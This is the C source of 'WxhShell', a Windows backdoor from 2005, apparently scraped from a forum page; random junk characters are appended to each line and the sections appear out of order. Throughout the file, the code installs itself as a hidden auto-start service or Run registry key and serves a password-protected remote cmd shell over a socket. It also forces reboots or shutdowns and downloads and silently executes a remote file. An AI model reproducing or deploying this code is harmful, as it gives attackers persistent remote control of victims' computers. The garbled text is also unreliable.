    ExitThread(0);  ta\CZp  
    } cU^Z=B  
    break; Jbrjt/OG#I  
    } \<bar ~  
  // 关机 ?'dsiA[  
  case 'd': { )Zcw G(o0  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9Rg|oCP_  
    if(Boot(SHUTDOWN)) cy6lsJ"?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5A~lu4-q  
    else { .(7 end<  
    closesocket(wsh); ?7Y6: zo$^  
    ExitThread(0); YFF\m{#  
    } {xzs{)9|Y4  
    break; yp}a&Dg  
    } #@#/M)  
  // 获取shell EqV]/0-\  
  case 's': { v7ShXX:  
    CmdShell(wsh); QX]~|?q  
    closesocket(wsh); M+akD  
    ExitThread(0); l^B PTg)X@  
    break; C{r Sq  
  } ,o3{?o]s  
  // 退出 ;6T>p  
  case 'x': { $Z!$E,@c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); {O4y Y=G  
    CloseIt(wsh); g=T !fF=  
    break; ;ORT#7CU  
    } q (?%$u.  
  // 离开 0KQDw  
  case 'q': { Z+qTMm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); + ~6Nq(kV  
    closesocket(wsh); _|!FhZ  
    WSACleanup(); jgfl|;I?pg  
    exit(1); w*E0f?s  
    break; Q>,EYb>wI  
        } nsRZy0@$t  
  } ws tH&^  
  } O$2= Z  
]CFh0N|(L  
  // 提示信息 nbVlP  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b xU13ESv  
} ?G48GxJ  
  } Y 0f"}A1  
vU X(h.}8  
  return; \ nIz5J}3  
} LZ97nvK  
km)5?  
// shell模块句柄 &rcC7v K9  
int CmdShell(SOCKET sock) 4!%TY4 bJ  
{ Q9UBxpDV:  
STARTUPINFO si; :2qUel\PEC  
ZeroMemory(&si,sizeof(si)); Zi0B$3iOb  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :KJG3j?   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B_^ ~5_0:  
PROCESS_INFORMATION ProcessInfo; %(c5T)B9  
char cmdline[]="cmd"; @bc=O1vX~;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8b^v@|)N  
  return 0; xS4B"/  
} ^sWsP`DV  
9q ##)  
// 自身启动模式 !zd]6YL$  
int StartFromService(void) {iyO96YI[^  
{ M=mzl750M  
typedef struct C Rd1zDB  
{ BRTM]tRZ  
  DWORD ExitStatus; F)W7,^=X>-  
  DWORD PebBaseAddress; *$t<H-U-  
  DWORD AffinityMask; N^G:m~>  
  DWORD BasePriority; $6(,/}==0  
  ULONG UniqueProcessId; v-V#?+#  
  ULONG InheritedFromUniqueProcessId; tP?pN]Q$,  
}   PROCESS_BASIC_INFORMATION; t3~ZGOn  
bD&^-& G  
PROCNTQSIP NtQueryInformationProcess; Qj?qWVapA  
^* xhbM;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; I$#B#w?!$r  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C&&*6E5  
* 5H  
  HANDLE             hProcess; 7+,6 m!4  
  PROCESS_BASIC_INFORMATION pbi; (-RZ|VdYg  
y5td o'Ex  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); sd@JQ%O  
  if(NULL == hInst ) return 0; ^`W8>czi  
5$v,%~$Xds  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @AXRKYQ{t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +YL9gNN>P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZQZBap"  
A,tmy',d"  
  if (!NtQueryInformationProcess) return 0; d!V;\w  
ou r$Ka31  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~f.fg@v`+v  
  if(!hProcess) return 0; /EN3>25"#  
*1}UK9X;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O#}'QZd'  
i; 8""A  
  CloseHandle(hProcess); -P+@n)?T6  
CaSoR |  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 's.cwB: #  
if(hProcess==NULL) return 0; 7X Z5CX&  
$\W|{u`  
HMODULE hMod;  #E[{  
char procName[255]; x=UwyZ  
unsigned long cbNeeded; : MOr?"  
?0v(_ v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `)9nBZ  
4K_fN  
  CloseHandle(hProcess); tWs ]Zd  
tD G[}j  
if(strstr(procName,"services")) return 1; // 以服务启动 i2a""zac  
D{Zjo)&tF'  
  return 0; // 注册表启动 .|[5*-  
} e|`QW|9 .  
&\3k(j  
// 主模块 x*8lz\w  
int StartWxhshell(LPSTR lpCmdLine) !+& Rn\e%7  
{ b(hnouS  
  SOCKET wsl; WUVRwJ 5  
BOOL val=TRUE; 5h"moh9tG  
  int port=0; : ryE`EhB  
  struct sockaddr_in door; Im NTk  
-~nU&$ccL  
  if(wscfg.ws_autoins) Install(); SDdefB  
*rY@(|  
port=atoi(lpCmdLine); ~1x,m.f8  
`/zx2Tkk  
if(port<=0) port=wscfg.ws_port; a(+.rf;  
?2Q9z-$  
  WSADATA data; tBtG- X2  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &f}a`/{@  
uQ^r1 $#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ^E)Kse.>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); &P+7Um(  
  door.sin_family = AF_INET; E%R^ kqqr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >~;MQDU5*Y  
  door.sin_port = htons(port); Kq`C5  
y^7ol;t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z9:erKT   
closesocket(wsl); )2@_V %  
return 1; x%acWeV5  
} *Q?ZJS ~  
V3<baxdE  
  if(listen(wsl,2) == INVALID_SOCKET) { y*Egt`W  
closesocket(wsl); #6XN_<  
return 1; B{\cV-X$0  
} 0JQ0lzk1  
  Wxhshell(wsl); K#j<G]I( @  
  WSACleanup(); ~$#"'Tl4J  
(dOC ^i  
return 0; 1_D|;/aI  
QZcdfJck=+  
} GpjyF_L  
%/l9$>{  
// 以NT服务方式启动  8>Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -ZTe#@J  
{ I~LN)hqdo  
DWORD   status = 0; P@ gVzx)M  
  DWORD   specificError = 0xfffffff; a[<'%S#3x  
#cG7h(!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; XcoV27  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mv7><C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; OnNWci|7  
  serviceStatus.dwWin32ExitCode     = 0; s>=DfE-;"  
  serviceStatus.dwServiceSpecificExitCode = 0; _j$"fg  
  serviceStatus.dwCheckPoint       = 0; 9H@I<`qGC  
  serviceStatus.dwWaitHint       = 0; R3nCk-Dq  
tx$kD2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jo75M Sj  
  if (hServiceStatusHandle==0) return; 7Ao9MF-  
gWt}q-@nRR  
status = GetLastError(); hdL/zW7]  
  if (status!=NO_ERROR) {K\l3_=5qb  
{ QEKRAPw  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `Yk~2t"V  
    serviceStatus.dwCheckPoint       = 0; #cB=] (N  
    serviceStatus.dwWaitHint       = 0; VO _! +  
    serviceStatus.dwWin32ExitCode     = status; 2V6=F[T  
    serviceStatus.dwServiceSpecificExitCode = specificError; c/l%:!A  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); LRF_w)^['  
    return; X<\E 'v`~  
  } rToZN!q\S  
.\r=1HZ3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 9FB[`}  
  serviceStatus.dwCheckPoint       = 0; N=1zhI:VaQ  
  serviceStatus.dwWaitHint       = 0; AJk0jh\.j%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ao4"=My*G  
} >s 4"2X  
U(lcQC`$  
// 处理NT服务事件,比如:启动、停止 ~U] "dbQ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) wul$lJ?tE  
{ w! J|KM  
switch(fdwControl) ET]PF,`  
{ 6OBe^/ZRt  
case SERVICE_CONTROL_STOP: d~i WV6Va  
  serviceStatus.dwWin32ExitCode = 0; ?gknJ:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?xftr(  
  serviceStatus.dwCheckPoint   = 0; EV1x"}D A_  
  serviceStatus.dwWaitHint     = 0; 81m3j`b  
  { /RVy?)hVT#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \rXmWzl{  
  } gN2$;hb?  
  return; @J`o pR  
case SERVICE_CONTROL_PAUSE: (IlHg^"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r57&F`{  
  break; "gm[q."n<  
case SERVICE_CONTROL_CONTINUE: $]V,H"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; PUt\^ke  
  break; C$"N)6%q  
case SERVICE_CONTROL_INTERROGATE: Y(aEp_kV  
  break; !+sC'/  
}; RMinZ}/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s)Gnj;  
} ;kSRv=S  
3Go/5X/  
// 标准应用程序主函数 -s?f<f{  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) = NHE_ 4/p  
{ rF9|xgFK  
[}xVz"8V  
// 获取操作系统版本 r]e1a\)r  
OsIsNt=GetOsVer(); B3x4sK s  
GetModuleFileName(NULL,ExeFile,MAX_PATH); t=,ZR}M1`  
b3/@$x<  
  // 从命令行安装 #@ClhpLD  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]><K8N3Z  
#[ei/p  
  // 下载执行文件 /_WA F90R?  
if(wscfg.ws_downexe) { $Hw w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D-{;;<nIr`  
  WinExec(wscfg.ws_filenam,SW_HIDE); 'eyzH[l,(  
} lk.]!K$}  
ew13qpt)<L  
if(!OsIsNt) { x)35}mi){L  
// 如果时win9x,隐藏进程并且设置为注册表启动 (`W_ -PI  
HideProc(); 7a$K@iWU  
StartWxhshell(lpCmdLine); vbt0G-%Z  
} <x QvS^|[  
else 2C6o?*RjyY  
  if(StartFromService()) mLEJt,X  
  // 以服务方式启动 v'Y0|9c  
  StartServiceCtrlDispatcher(DispatchTable); &a;{ed1B  
else !,Ou:E?Bb  
  // 普通方式启动 uDtml$9rN  
  StartWxhshell(lpCmdLine); Vd+qi~kA  
X8}m %  
return 0; WqX$;' }h  
} UL{+mp  
0+-"9pED>E  
1c5+X Cr  
ae%Bl[  
=========================================== u+5&^"72,  
*5|;eN  
y?6J%~\WP  
\ltbiDP2  
-yP|CZM  
~Q+E""  
" ;;4>vF#*  
'99rXw  
#include <stdio.h> Zz,j,w0 Z  
#include <string.h> d}RU-uiW  
#include <windows.h> O]-)?y/  
#include <winsock2.h> F"-u8in`  
#include <winsvc.h> c)*,">$#  
#include <urlmon.h> ojc m%yd  
n-"(lWcp  
#pragma comment (lib, "Ws2_32.lib") >PY Lk{q  
#pragma comment (lib, "urlmon.lib") 1bz%O2U-(  
?\Bm>p% +  
#define MAX_USER   100 // 最大客户端连接数 p*NKM} ]I  
#define BUF_SOCK   200 // sock buffer MG}rvzn@  
#define KEY_BUFF   255 // 输入 buffer o+],L_Ab  
{yzo#"4Oy  
#define REBOOT     0   // 重启 |o@xWs@m  
#define SHUTDOWN   1   // 关机 Ub,5~I+`  
,`pUz[wl  
#define DEF_PORT   5000 // 监听端口 n 3eLIA{  
MyZ5~jnr\  
#define REG_LEN     16   // 注册表键长度 &GfDo4$  
#define SVC_LEN     80   // NT服务名长度 N9dx^+\  
`{oFdvL~)  
// 从dll定义API 5cUz^ >  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ; b`kN;s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e,?qwZK:y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); whW% c8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ts:YJAu+F  
Jkx_5kk/\  
// wxhshell配置信息 r"_U-w  
struct WSCFG { ^g'P H{68  
  int ws_port;         // 监听端口 5i0vli /L  
  char ws_passstr[REG_LEN]; // 口令 ]/#3 P  
  int ws_autoins;       // 安装标记, 1=yes 0=no yI{4h $c  
  char ws_regname[REG_LEN]; // 注册表键名 `o4%UkBpM  
  char ws_svcname[REG_LEN]; // 服务名 ykS-5E`  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .A Dik}o  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *^3&Y@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qg06*$%  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ip+?k<]z  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" e"d-$$'e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NiSybyR$  
_x`oab0@  
}; 8{- *Q(=/  
<WiyM[ ep  
// default Wxhshell configuration D7lRZb  
struct WSCFG wscfg={DEF_PORT, TWeup6k  
    "xuhuanlingzhe", H5eGl|Z5]^  
    1, Z ~3  
    "Wxhshell", Q{o]^tN  
    "Wxhshell", Z[G[.\0  
            "WxhShell Service", =h>jo&=Wad  
    "Wrsky Windows CmdShell Service", |e_'% d&  
    "Please Input Your Password: ", <~bvf A=  
  1, ;%Zu[G`C  
  "http://www.wrsky.com/wxhshell.exe", Z#t}yC%^d  
  "Wxhshell.exe" o.g)[$M8cF  
    }; Mp3nR5@d$  
K'c[r0Ew  
// 消息定义模块 V r7L9%/wg  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; I_s*pT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4n0Iw  I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D &Bdl5g  
char *msg_ws_ext="\n\rExit."; zHX7%x,Cq  
char *msg_ws_end="\n\rQuit."; h]vu BHJ}  
char *msg_ws_boot="\n\rReboot..."; "oT&KW   
char *msg_ws_poff="\n\rShutdown..."; &?H`MCv t  
char *msg_ws_down="\n\rSave to "; P,s>xM  
M nnVk=  
char *msg_ws_err="\n\rErr!"; WkMB  
char *msg_ws_ok="\n\rOK!"; szs.B|3X@*  
{O!B8a    
char ExeFile[MAX_PATH]; 4*&2D-8<K  
int nUser = 0; Tg@:mw5  
HANDLE handles[MAX_USER]; W|L#Q/ RX  
int OsIsNt; <u}[_  
3kavzB[  
SERVICE_STATUS       serviceStatus; v05$"Ig  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _Wtwh0[r*  
PVi0|  
// 函数声明 qQwf#&  
int Install(void); Tl L,dPM  
int Uninstall(void); FL[,?RU?2  
int DownloadFile(char *sURL, SOCKET wsh); >aAsUL5W  
int Boot(int flag); \'6%Ld5km  
void HideProc(void); 9>6?tb"f*H  
int GetOsVer(void); P]0/S  
int Wxhshell(SOCKET wsl); aeE~[m  
void TalkWithClient(void *cs); i<M F8 $  
int CmdShell(SOCKET sock); YJF|J2u  
int StartFromService(void); /^9=2~b  
int StartWxhshell(LPSTR lpCmdLine); ?/fC"MJq?  
6Zx)L|B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 97pfMk1_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); QT4&Ix,4T1  
sdBB(  
// 数据结构和表定义 8^pu C  
SERVICE_TABLE_ENTRY DispatchTable[] = qm6X5T  
{ KjK-#F,@  
{wscfg.ws_svcname, NTServiceMain}, iBk1QRdn  
{NULL, NULL} #'5{ ?Cb  
}; 629ogJo8  
(H;,E-  
// 自我安装 PQrc#dfc |  
int Install(void) "XLFw;o  
{ 1b<[/g9  
  char svExeFile[MAX_PATH]; t+#vcg,G  
  HKEY key; b/d 1(B@  
  strcpy(svExeFile,ExeFile); )C$pjjo/`  
l^2m7 7)  
// 如果是win9x系统,修改注册表设为自启动 w7~cY=  
if(!OsIsNt) { 'F^1)Ga$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x~ E\zw  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E/2_@&U:}  
  RegCloseKey(key); `Krk<G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y=2nV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bh+m_$X~  
  RegCloseKey(key); pB0 SCS*  
  return 0; OCu/w1 bc  
    } EGzlRSgO  
  } fLZ99?J  
} D%= j@  
else { 6J <.i  
ZU;nXqjc  
// 如果是NT以上系统,安装为系统服务 tu^C<MV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); G%>{Z?!B  
if (schSCManager!=0) $lg{J$ h8  
{ ?(Xy 2%v  
  SC_HANDLE schService = CreateService HHL7z,%f  
  ( eyy%2> b  
  schSCManager, L\q-Z..  
  wscfg.ws_svcname, y$9XHubu  
  wscfg.ws_svcdisp, JvF0s}#4  
  SERVICE_ALL_ACCESS,  = Atyy  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , deOk>v&U  
  SERVICE_AUTO_START, 3F$N@K~s  
  SERVICE_ERROR_NORMAL, \F14]`i  
  svExeFile, -d[Gy- J  
  NULL, 825 QS`  
  NULL, gkDXt^Ob  
  NULL, = O|}R  
  NULL, Yv3 P]6c.  
  NULL !$p E=~1C  
  ); %zN~%mJG  
  if (schService!=0) ^fP5@T*f  
  { ir~4\G!  
  CloseServiceHandle(schService); |(=b  
  CloseServiceHandle(schSCManager); $XcuU sG  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); y>c Yw!  
  strcat(svExeFile,wscfg.ws_svcname); y m?uj4I{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { drJUfsxV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); usw(]CnH  
  RegCloseKey(key); /k KVIlO  
  return 0; zh5ovA%  
    } F.AP)`6+*  
  } P:UR:y([  
  CloseServiceHandle(schSCManager); NCVhWD21|  
} C8y[B1Y  
} 4!A(7 s4t  
19i=kdH  
return 1; \=H+m%  
} 7 iQa)8,  
U:gvK 8n  
// 自我卸载 ^@<Ia-x  
int Uninstall(void) D2f~*!vEnA  
{ bp'\nso/  
  HKEY key; |`d-;pk!%  
'M fVZho{  
if(!OsIsNt) { 8peK[sz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {6mFI1;q  
  RegDeleteValue(key,wscfg.ws_regname); >gDKkeLD  
  RegCloseKey(key); j2oU1' b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p-h(C'PqF  
  RegDeleteValue(key,wscfg.ws_regname); PJAM_K;  
  RegCloseKey(key); 0U! _o2]  
  return 0; TVK*l*  
  } > 0c g  
} ]Aj5 K  
} ITZ}$=   
else { {5 (M   
vofBS   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); :H/Rhx=  
if (schSCManager!=0) $PMD$c  
{ bQHJ}aCi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); W(EN01d\  
  if (schService!=0) wq]vcY9^  
  { ~JB4s%&  
  if(DeleteService(schService)!=0) { / }(\P@Z  
  CloseServiceHandle(schService); ;".]W;I*O  
  CloseServiceHandle(schSCManager); WL;2&S/{@  
  return 0; a[J_H$6H!  
  } <FwAV=}6p  
  CloseServiceHandle(schService); cK75Chsu  
  } V=E5pB`Pr  
  CloseServiceHandle(schSCManager); j3fq}>=  
} B %  
} AIw~@*T  
< fYcON  
return 1; jWK>=|)=c  
} [ub)`-6 u  
58]t iP"  
// 从指定url下载文件 0+k=gO  
int DownloadFile(char *sURL, SOCKET wsh) vkLyGb7r<  
{ +< )H2  
  HRESULT hr; E0eZal],  
char seps[]= "/"; Dk}txw}#  
char *token; 5KW n>n  
char *file; 6>[J^k%~w)  
char myURL[MAX_PATH]; CIQ9dx7>  
char myFILE[MAX_PATH]; \cQ+9e)  
bLO^5`6  
strcpy(myURL,sURL); 3A3WD+[L  
  token=strtok(myURL,seps); pEY zB;  
  while(token!=NULL) RggO|s+0;  
  { A s8IjGNs{  
    file=token; fwSI"cfM  
  token=strtok(NULL,seps); 6\x/Z=}L  
  } oP:/%  
Lt {&v ^y  
GetCurrentDirectory(MAX_PATH,myFILE); uf`/-jY  
strcat(myFILE, "\\"); wpOM~!9R  
strcat(myFILE, file); @"afEMd  
  send(wsh,myFILE,strlen(myFILE),0); \o5/, C  
send(wsh,"...",3,0); c22L]Sxo  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); dl+c+w"  
  if(hr==S_OK) O`.IE? h#  
return 0; l?KP /0`  
else $Q`\-  
return 1; VW:Voc  
>| hqt8lY  
} Agwl2AM5k  
Pk^V6-  
// 系统电源模块 C+0BV~7J<<  
int Boot(int flag) )SfM`W)Y  
{ >ajcfG .k(  
  HANDLE hToken; D"P<;@ef  
  TOKEN_PRIVILEGES tkp; o 'Z W  
=9A!5  
  if(OsIsNt) { 4qyPjAG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); L]=LY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z )X(  
    tkp.PrivilegeCount = 1; >n5Kz]]%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l'?(4 N  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); , 1il&  
if(flag==REBOOT) { ki]i[cdk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A{gniYqvB`  
  return 0; ,DCrhk  
} Olr'n% }  
else { KXcE@q9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !{XVaQ?x  
  return 0; cB2~W%H  
} ^F-AZP /5F  
  } <#lNi.?.  
  else { 6^TWY[z2%  
if(flag==REBOOT) { dbfI!4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WU6F-{M"?  
  return 0; TWU1@5?Ct  
} Kj+TP qXb  
else { oi%IHX(`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xgWVxX^)  
  return 0; D}?JX5.  
} wArzMt}[  
} OJs s  
n&FRjq9y  
return 1; -V:7j8  
} 2MDY nMy  
`%=!_|  
// win9x进程隐藏模块 ];Y tw6A  
void HideProc(void) 2XV3f$,H  
{ $lF\FC  
/+f3jy:d  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @Cl1G  
  if ( hKernel != NULL ) $wqi^q*)  
  { m[A$Sp_"-h  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,sn 9&E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ZV`o: Gd  
    FreeLibrary(hKernel); { ?]&P  
  } q`@8  
% &i Wc_"  
return; f:h<tlob  
} !3Q^oR  
5I0j>{U&  
// 获取操作系统版本 <#e!kWGR?  
int GetOsVer(void) U z MIm  
{ ( Uk\O`)m  
  OSVERSIONINFO winfo; zmU>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cnM`ywKW  
  GetVersionEx(&winfo); ^ ]SU (kY  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rv %^2h<&  
  return 1; ]dnB ,  
  else I(+%`{Wv  
  return 0; 3E;<aCG?  
} %F]:nk`  
g #[,4o;  
// 客户端句柄模块  -to3I  
int Wxhshell(SOCKET wsl) ^j7]> I  
{ "= *   
  SOCKET wsh; U_5\ FM  
  struct sockaddr_in client; <nF1f(ky  
  DWORD myID; &=l aZxe  
UvVq#<-  
  while(nUser<MAX_USER) f/g-b]0  
{ Cx ;n#dn*  
  int nSize=sizeof(client); [K`d?&  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ASaNac-3  
  if(wsh==INVALID_SOCKET) return 1; ;V4f6[<]'z  
s6_[H  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LZA pz}  
if(handles[nUser]==0) "@ @Z{  
  closesocket(wsh); o*s3"Ib  
else pv,I_"  
  nUser++; Dqm;twd>  
  } 7 JVonruaR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X=pPkgW  
E7|P\^}m(f  
  return 0; m"mU:-jk`  
} O-]^_LV`  
usI$  
// 关闭 socket ~)iQbLI  
void CloseIt(SOCKET wsh) G!w?\-  
{ ;Y`k-R:E6A  
closesocket(wsh); &y.6Hiy&  
nUser--; )[5.*g@  
ExitThread(0); f=nVK4DuZ  
} ~9dAoILrl  
G0v<`/|>}  
// 客户端请求句柄 sQ%gf  
void TalkWithClient(void *cs) BY??X=  
{ n; *W#c  
3+iQct[  
  SOCKET wsh=(SOCKET)cs; S$i3/t  
  char pwd[SVC_LEN]; ,98`tB0  
  char cmd[KEY_BUFF]; oOHr~<  
char chr[1]; U,GY']J  
int i,j; TAZ+2S##7  
Dhp|%_>  
  while (nUser < MAX_USER) { pc/]t^]p  
.l~g`._  
if(wscfg.ws_passstr) { (Kaunp5_`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rqYx\i?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !!UQ,yU  
  //ZeroMemory(pwd,KEY_BUFF); x|<89o L  
      i=0; @3I/57u<  
  while(i<SVC_LEN) { Ixv/xI  
T>pz?e^5&  
  // 设置超时 !<j)D_  
  fd_set FdRead; '1Q [&  
  struct timeval TimeOut; 1IV R4:a  
  FD_ZERO(&FdRead); } OAH/BW  
  FD_SET(wsh,&FdRead); g+M& _n  
  TimeOut.tv_sec=8; ,SSq4  
  TimeOut.tv_usec=0; R%^AW2   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S#^-VZ~U4x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "\1QJ  
W1p5F\ wt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -O?&+xIK&  
  pwd=chr[0]; J1{ucFa  
  if(chr[0]==0xd || chr[0]==0xa) { >X-*Hu'U#  
  pwd=0; ,{u'7p  
  break; '.d]n(/lZd  
  } %& b70]S(  
  i++; QLe<).S1B2  
    } :]^FTnO  
(TFo]c  
  // 如果是非法用户,关闭 socket ${)s ~[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); IRl(H_.  
} -[.A6W  
s+XDtO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); hZNA I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); UqZ#mKi  
MuQ'L=iJ  
while(1) { Yq0=4#_  
K44j-Ypb  
  ZeroMemory(cmd,KEY_BUFF); iZDZ/hohv  
N3rQ]HZiP  
      // 自动支持客户端 telnet标准   7c.LyvM  
  j=0; B5fF\N^  
  while(j<KEY_BUFF) { {>R'IjFc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _=RK  
  cmd[j]=chr[0]; 1# X*kF  
  if(chr[0]==0xa || chr[0]==0xd) { c-hhA%@Wq  
  cmd[j]=0; _=;ltO  
  break; PV,AN   
  } 4m3pF0k  
  j++; ,?zOJ,wl  
    } k?'<f  
B[nkE+s  
  // 下载文件 \]+57^8r  
  if(strstr(cmd,"http://")) { N(BCe\FV  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vQIN#;m4  
  if(DownloadFile(cmd,wsh)) LX_{39?<{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;(,1pi7|  
  else ZP^7`q)6  
